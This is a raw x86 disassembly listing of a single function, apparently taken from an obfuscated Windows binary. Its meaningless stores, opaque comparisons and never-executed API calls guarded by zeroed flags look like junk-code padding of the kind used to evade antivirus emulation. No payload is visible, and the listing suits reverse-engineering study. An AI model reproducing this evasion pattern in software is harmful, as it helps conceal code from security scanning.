cmp dword [ebp + ecx*4 - 0x35ac], eax
jne 0x484f70
mov dword [ebp - 0x1720], 1
jmp 0x484f77
and dword [ebp - 0x1720], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x1720], eax
jg 0x484f91
mov dword [ebp - 0x1f88], 1
jmp 0x484f98
and dword [ebp - 0x1f88], 0
mov eax, dword [ebp - 0x1f88]
inc eax
cmp eax, dword [ebp - 0x2b8]
jge 0x484fb3
mov dword [ebp - 0x1728], 1
jmp 0x484fba
and dword [ebp - 0x1728], 0
mov eax, dword [ebp - 0x1728]
mov dword [ebp - 0x24c8], eax
jmp 0x484e4d
jmp 0x484de1
mov eax, dword [ebp - 0x1cc0]
inc eax
mov dword [ebp - 0x1cc0], eax
jmp 0x484d36
mov dword [ebp - 0x9d0], 0xfffffff7
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x7dc], 0
jmp 0x48500f
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 1
jge 0x48502b
mov eax, dword [ebp - 0x7dc]
mov dword [ebp + eax*4 - 0xbd4], 0xfff9
jmp 0x485002
mov dword [ebp - 0x274], 0
jmp 0x485044
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 1
jge 0x485060
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0xbd4], 0xd1e1
jmp 0x485037
mov dword [ebp - 0x274], 5
jmp 0x485079
mov eax, dword [ebp - 0x274]
dec eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0xfffffff3
jg 0x48523e
mov dword [ebp - 0x2c0], 0xd4ea6801
mov dword [ebp - 0x2c0], 0
jmp 0x4850a9
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0
jg 0x4851a9
mov dword [ebp - 0x960], 0x121ac488
mov dword [ebp - 0x960], 0
jmp 0x4850d9
mov eax, dword [ebp - 0x960]
inc eax
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0x960], 0
jg 0x4851a4
mov dword [ebp - 0x61c], 0x1eb32a83
mov dword [ebp - 0x61c], 0
jmp 0x485109
mov eax, dword [ebp - 0x61c]
inc eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0
jg 0x485185
mov dword [ebp - 0x7e4], 0xfffffff9
mov dword [ebp - 0x7e4], 0
jmp 0x485135
mov eax, dword [ebp - 0x7e4]
inc eax
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 0
jg 0x485180
mov dword [ebp - 0x8e8], 0x54dbbe56
mov dword [ebp - 0x8e8], 0
jmp 0x485161
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 0
jg 0x48517e
mov eax, dword [ebp - 0x61c]
cmp dword [ebp + eax*4 - 0xbd4], 0
je 0x48517c
jmp 0x48517e
jmp 0x485154
jmp 0x485128
jmp 0x4850fc
mov byte [ebp - 0x344], 0
movzx eax, byte [ebp - 0x344]
test eax, eax
je 0x48519f
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
jmp 0x4850cc
jmp 0x48509c
mov dword [ebp - 0x2c0], 0xd
jmp 0x4851c2
mov eax, dword [ebp - 0x2c0]
dec eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 6
jle 0x485239
mov dword [ebp - 0x26a8], 0x8143
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbd4], 0
jne 0x4851f1
mov dword [ebp - 0x1730], 1
jmp 0x4851f8
and dword [ebp - 0x1730], 0
mov eax, dword [ebp - 0x1730]
mov dword [ebp - 0x26a8], eax
mov byte [ebp - 0x346], 0
movzx eax, byte [ebp - 0x346]
test eax, eax
je 0x485234
push 0x243
push 0x2454
push 0
push 0
push 0x15d6
push 0x1d91
call dword [sym.imp.USER32.dll_ToUnicode]
jmp 0x4851b5
jmp 0x48506c
mov dword [ebp - 0x9a0], 8
mov dword [ebp - 0x7ec], 0
jmp 0x485261
mov eax, dword [ebp - 0x7ec]
inc eax
mov dword [ebp - 0x7ec], eax
cmp dword [ebp - 0x7ec], 2
jge 0x48527d
mov eax, dword [ebp - 0x7ec]
mov dword [ebp + eax*4 - 0x2eec], 0x7862
jmp 0x485254
mov dword [ebp - 0x9a0], 0
jmp 0x485296
mov eax, dword [ebp - 0x9a0]
inc eax
mov dword [ebp - 0x9a0], eax
cmp dword [ebp - 0x9a0], 1
jg 0x485309
mov dword [ebp - 0x584], 0xffffffff
mov byte [ebp - 0x348], 0
movzx eax, byte [ebp - 0x348]
test eax, eax
je 0x4852d1
push 0
push 0
push 0x2515
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
mov dword [ebp - 0x584], 0
jmp 0x4852ea
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 1
jg 0x485307
mov eax, dword [ebp - 0x584]
cmp dword [ebp + eax*4 - 0x2eec], 0
je 0x485305
jmp 0x485307
jmp 0x4852dd
jmp 0x485289
mov dword [ebp - 0x1724], 0x41a9c213
mov dword [ebp - 0x7f4], 0xe1757117
mov dword [ebp - 0x7f4], 0
jmp 0x485336
mov eax, dword [ebp - 0x7f4]
dec eax
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0xfffffff0
jge 0x485372
mov dword [ebp - 0x24d0], 0xffffffff
cmp dword [ebp - 0x24d0], 0
je 0x485354
jmp 0x485372
mov byte [ebp - 0x312], 0
movzx eax, byte [ebp - 0x312]
test eax, eax
je 0x485370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x485329
mov dword [ebp - 0x183c], 0xcbeb969
mov dword [ebp - 0xf4], 0xfffffff7
mov dword [ebp - 0x1cc8], 0xffffffff
mov dword [ebp - 0x1740], 0xf9986e3
mov dword [ebp - 0xaf0], 0xffffffff
mov dword [ebp - 0x24d8], 0xb1b0
mov dword [ebp - 0x8f0], 0
jmp 0x4853c7
mov eax, dword [ebp - 0x8f0]
inc eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 4
jge 0x4853e3
mov eax, dword [ebp - 0x8f0]
mov dword [ebp + eax*4 - 0x28f4], 0x4e2
jmp 0x4853ba
mov dword [ebp - 0xf4], 0
jmp 0x4853fc
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 3
jg 0x485537
mov dword [ebp - 0x108], 0xffffffff
mov dword [ebp - 0x108], 3
jmp 0x48542c
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x4854f4
mov dword [ebp - 0x7fc], 0
mov dword [ebp - 0x7fc], 0
jmp 0x48545c
mov eax, dword [ebp - 0x7fc]
inc eax
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 3
jg 0x4854ef
mov dword [ebp - 0x968], 0x41b66baf
mov byte [ebp - 0x314], 0
movzx eax, byte [ebp - 0x314]
test eax, eax
je 0x485492
push 0x6c1
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [ebp - 0x968], 3
jmp 0x4854ab
mov eax, dword [ebp - 0x968]
dec eax
mov dword [ebp - 0x968], eax
cmp dword [ebp - 0x968], 0
jl 0x4854ea
mov byte [ebp - 0x316], 0
movzx eax, byte [ebp - 0x316]
test eax, eax
je 0x4854e8
push 0
push 0
push 0xa42
push 0
push 0x264a
push 0
push 0x270c
push 0x23b5
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x48549e
jmp 0x48544f
jmp 0x48541f
mov dword [ebp - 0x108], 0
jmp 0x48550d
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 3
jg 0x485532
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x108]
mov eax, dword [ebp + eax*4 - 0x28f4]
mov dword [ebp + ecx*4 - 0x28f4], eax
jmp 0x485500
jmp 0x4853ef
mov dword [ebp - 0xf4], 3
jmp 0x485550
mov eax, dword [ebp - 0xf4]
dec eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jl 0x485665
mov dword [ebp - 0x804], 0
jmp 0x485576
mov eax, dword [ebp - 0x804]
inc eax
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 2
jge 0x485592
mov eax, dword [ebp - 0x804]
mov dword [ebp + eax*4 - 0x2ef8], 0xfffffffc
jmp 0x485569
mov eax, dword [ebp - 0xf4]
cmp dword [ebp + eax*4 - 0x28f4], 2
je 0x4855ae
mov dword [ebp - 0x1738], 1
jmp 0x4855b5
and dword [ebp - 0x1738], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x28f4]
mov dword [ebp - 0x2db8], eax
mov eax, dword [ebp - 0xf4]
cmp dword [ebp + eax*4 - 0x28f4], 3
je 0x4855e4
mov dword [ebp - 0x20f0], 1
jmp 0x4855eb
and dword [ebp - 0x20f0], 0
mov eax, dword [ebp - 0x20f0]
mov dword [ebp - 0xaf0], eax
cmp dword [ebp - 0xaf0], 0
jne 0x485612
cmp dword [ebp - 0xaf0], 0
jne 0x485612
and dword [ebp - 0x27ac], 0
jmp 0x48561c
mov dword [ebp - 0x27ac], 1
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp + eax*4 - 0x28f4]
mov dword [ebp - 0x3260], eax
mov eax, dword [ebp - 0x1738]
mov dword [ebp - 0x1cc8], eax
mov eax, dword [ebp - 0x1cc8]
mov dword [ebp - 0x1740], eax
mov eax, dword [ebp - 0x1740]
add eax, dword [ebp - 0x24d8]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2ef8], eax
jmp 0x485543
mov dword [ebp - 0x288c], 0x4e7f13bc
mov dword [ebp - 0xd0], 0x24a8c6a5
mov dword [ebp - 0xc40], 0xfffffffd
mov dword [ebp - 0x1758], 0
mov dword [ebp - 0xd0], 0
jmp 0x4856a6
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xffffffef
jge 0x4856d9
mov byte [ebp - 0x318], 0
movzx eax, byte [ebp - 0x318]
test eax, eax
je 0x4856d7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
jmp 0x485699
cmp dword [ebp - 0xd0], 0
jne 0x4857a6
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x2dc0], eax
mov eax, dword [ebp - 0xc40]
mov dword [ebp - 0x32c0], eax
imul eax, dword [ebp - 0xd0], 0x9689
sub eax, 0xcd33
cmp eax, 0x6370
jne 0x485720
mov dword [ebp - 0x1f90], 1
jmp 0x485727
and dword [ebp - 0x1f90], 0
cmp dword [ebp - 0x1f90], 0x34caa8e5
jle 0x48573f
mov dword [ebp - 0x1748], 1
jmp 0x485746
and dword [ebp - 0x1748], 0
mov eax, dword [ebp - 0xc40]
imul eax, dword [ebp - 0x1748]
cmp eax, dword [ebp - 0x1758]
jg 0x485767
mov dword [ebp - 0x1cd0], 1
jmp 0x48576e
and dword [ebp - 0x1cd0], 0
mov eax, dword [ebp - 0xc40]
cmp eax, dword [ebp - 0x1cd0]
jl 0x485788
mov dword [ebp - 0x1750], 1
jmp 0x48578f
and dword [ebp - 0x1750], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x1750], eax
jl 0x4857a6
and dword [ebp - 0x2254], 0
jmp 0x4857b0
mov dword [ebp - 0x2254], 1
cmp dword [ebp - 0x2254], 4
jg 0x4857c5
mov dword [ebp - 0x1cd8], 1
jmp 0x4857cc
and dword [ebp - 0x1cd8], 0
mov eax, dword [ebp - 0x1758]
add eax, dword [ebp - 0x1cd8]
cmp eax, dword [ebp - 0xd0]
jge 0x4857f2
cmp dword [ebp - 0xd0], 0
jne 0x4857f2
and dword [ebp - 0x1760], 0
jmp 0x4857fc
mov dword [ebp - 0x1760], 1
mov eax, dword [ebp - 0x1760]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x2608], 0x489be67e
mov dword [ebp - 0x3c0], 7
mov dword [ebp - 0x1ce8], 0xf8ef
mov dword [ebp - 0x2dc8], 0
mov dword [ebp - 0x21c], 0
jmp 0x485849
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 4
jge 0x485865
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x2ad8], 0xfffffff6
jmp 0x48583c
mov dword [ebp - 0x21c], 0
jmp 0x48587e
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 1
jge 0x48589a
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0x9c0], 0xffffffff
jmp 0x485871
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2ad8], 0
jmp 0x4858c5
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2ad8], 0x19
jl 0x485939
mov dword [ebp - 0x2cb0], 0xfffffffc
mov dword [ebp - 0x2dd0], 0
mov dword [ebp - 0x32c8], 0x21ac4888
mov dword [ebp - 0x8f8], 0
jmp 0x48590b
mov dword [ebp - 0x3c0], 0
jmp 0x485952
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x11a8], 0xfffffff8
mov dword [ebp - 0xbb4], 0xf67d
mov dword [ebp - 0x5d8], 0x531defce
mov dword [ebp - 0x2b3c], 0x732b
mov dword [ebp - 0x2b38], 0x732b
mov dword [ebp - 0x2b34], 0x732b
mov dword [ebp - 0x2b30], 0x732b
mov dword [ebp - 0x20], 0
jmp 0x491b3b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x491b51
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2398], 0xffffffff
jmp 0x491b34
mov dword [ebp - 0x20], 0
jmp 0x491b61
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x491b77
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xcd4], 0xfffffffe
jmp 0x491b5a
mov dword [ebp - 0x20], 0
jmp 0x491b87
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x491b9d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xcec], 0xb6dad816
jmp 0x491b80
mov dword [ebp - 0x20], 0
jmp 0x491bad
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x491bc3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2fac], 0xfffffffa
jmp 0x491ba6
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcec]
dec eax
mov dword [ebp - 0x1158], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1158]
mov dword [ebp + eax - 0xcec], ecx
cmp dword [ebp - 0x1158], 0
jne 0x491d98
mov eax, 0x1c1d
test eax, eax
je 0x491c73
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2398], 3
jbe 0x491c1c
mov dword [ebp - 0x1160], 1
jmp 0x491c23
and dword [ebp - 0x1160], 0
cmp dword [ebp - 0x1160], 0xf303
jl 0x491c3b
mov dword [ebp - 0x1168], 1
jmp 0x491c42
and dword [ebp - 0x1168], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcec]
add eax, dword [ebp - 0x1168]
jne 0x491c67
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcec], 0
je 0x491c73
mov dword [ebp - 0x260c], 1
jmp 0x491c7a
and dword [ebp - 0x260c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xcd4], 0
je 0x491ca6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2398], 0
je 0x491ca6
mov dword [ebp - 0x1170], 1
jmp 0x491cad
and dword [ebp - 0x1170], 0
mov eax, dword [ebp - 0x5d8]
cmp dword [ebp - 0x1170], eax
jl 0x491cc7
mov dword [ebp - 0x2614], 1
jmp 0x491cce
and dword [ebp - 0x2614], 0
mov eax, dword [ebp - 0x11a8]
mov dword [ebp - 0x3118], eax
mov eax, 0xd4a
test eax, eax
je 0x491cea
cmp dword [ebp - 0xbb4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcec]
mov dword [ebp - 0x1178], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1178]
mov dword [ebp + eax - 0xcd4], ecx
imul eax, dword [ebp - 0x1178], 0x1067
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xcec]
jl 0x491d35
mov dword [ebp - 0x1180], 1
jmp 0x491d3c
and dword [ebp - 0x1180], 0
cmp dword [ebp - 0x1180], 0xcf5
jg 0x491d54
mov dword [ebp - 0x1188], 1
jmp 0x491d5b
and dword [ebp - 0x1188], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2398]
cmp dword [ebp - 0x1188], eax
je 0x491d7c
mov dword [ebp - 0x1190], 1
jmp 0x491d83
and dword [ebp - 0x1190], 0
cmp dword [ebp - 0x1190], 0x57a772be
jne 0x491d98
and dword [ebp - 0x1198], 0
jmp 0x491da2
mov dword [ebp - 0x1198], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2398]
cmp dword [ebp - 0x1198], eax
je 0x491dc3
mov dword [ebp - 0x11a0], 1
jmp 0x491dca
and dword [ebp - 0x11a0], 0
cmp dword [ebp - 0x11a0], 0x9e3c
jg 0x491de2
mov dword [ebp - 0x11b0], 1
jmp 0x491de9
and dword [ebp - 0x11b0], 0
mov eax, dword [ebp - 0x11a8]
cmp dword [ebp - 0x11b0], eax
jge 0x491e03
mov dword [ebp - 0x11b8], 1
jmp 0x491e0a
and dword [ebp - 0x11b8], 0
mov eax, dword [ebp - 0xbb4]
add eax, dword [ebp - 0x11b8]
cmp eax, 0x26aece01
jg 0x491e29
mov dword [ebp - 0x11c0], 1
jmp 0x491e30
and dword [ebp - 0x11c0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2398]
cmp eax, dword [ebp - 0x11c0]
jge 0x492042
mov dword [ebp - 0x6d4], 0
jmp 0x491e62
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 3
jge 0x491e7e
mov eax, dword [ebp - 0x6d4]
mov dword [ebp + eax*4 - 0x328c], 0x2fa57a88
jmp 0x491e55
or eax, 0xffffffff
je 0x491eb1
push 4
pop eax
shl eax, 1
imul eax, dword [ebp + eax - 0x2b3c], 0xfffffff8
sub eax, 0xdeb
sub eax, dword [ebp - 0xbb4]
add eax, 0xa
jne 0x491ea5
or eax, 0xffffffff
je 0x491eb1
mov dword [ebp - 0x11c8], 1
jmp 0x491eb8
and dword [ebp - 0x11c8], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2398]
cmp eax, dword [ebp - 0x11c8]
jl 0x491ed9
mov dword [ebp - 0x11d0], 1
jmp 0x491ee0
and dword [ebp - 0x11d0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcd4]
cmp dword [ebp - 0x11d0], eax
je 0x491f01
mov dword [ebp - 0x11d8], 1
jmp 0x491f08
and dword [ebp - 0x11d8], 0
cmp dword [ebp - 0x11d8], 0xb816
je 0x491f20
mov dword [ebp - 0x11e0], 1
jmp 0x491f27
and dword [ebp - 0x11e0], 0
cmp dword [ebp - 0x11e0], 0x942075d7
jbe 0x491f3f
mov dword [ebp - 0x11e8], 1
jmp 0x491f46
and dword [ebp - 0x11e8], 0
cmp dword [ebp - 0x11e8], 6
je 0x491f95
mov dword [ebp - 0x3384], 0xfffffff8
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x328c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x328c], eax
mov byte [ebp - 0x36c], 0
movzx eax, byte [ebp - 0x36c]
test eax, eax
je 0x491f93
push 0
push 0
push 0xbad
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
jmp 0x49200b
mov dword [ebp - 0x261c], 1
mov byte [ebp - 0x36e], 0
movzx eax, byte [ebp - 0x36e]
test eax, eax
je 0x491fcc
push 0xbe
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
mov dword [ebp - 0x238], 0
jmp 0x491fe5
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 3
jg 0x49200b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xcd4], 0xffff0002
mov dword [ebp - 0x261c], 0xffff0002
jmp 0x491fd8
mov dword [ebp - 0x238], 0
jmp 0x492024
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 4
jge 0x492040
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0x2398], 0x9f80411b
jmp 0x492017
jmp 0x49205c
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x2fac]
mov dword [ebp + ecx - 0xcd4], eax
mov dword [ebp - 0x5d8], 0
jmp 0x492075
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 7
jge 0x49209d
mov dword [ebp - 0x2624], 0xcb45490a
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2624]
mov dword [ebp + eax - 0xcd4], ecx
jmp 0x492068
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00477cfc
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret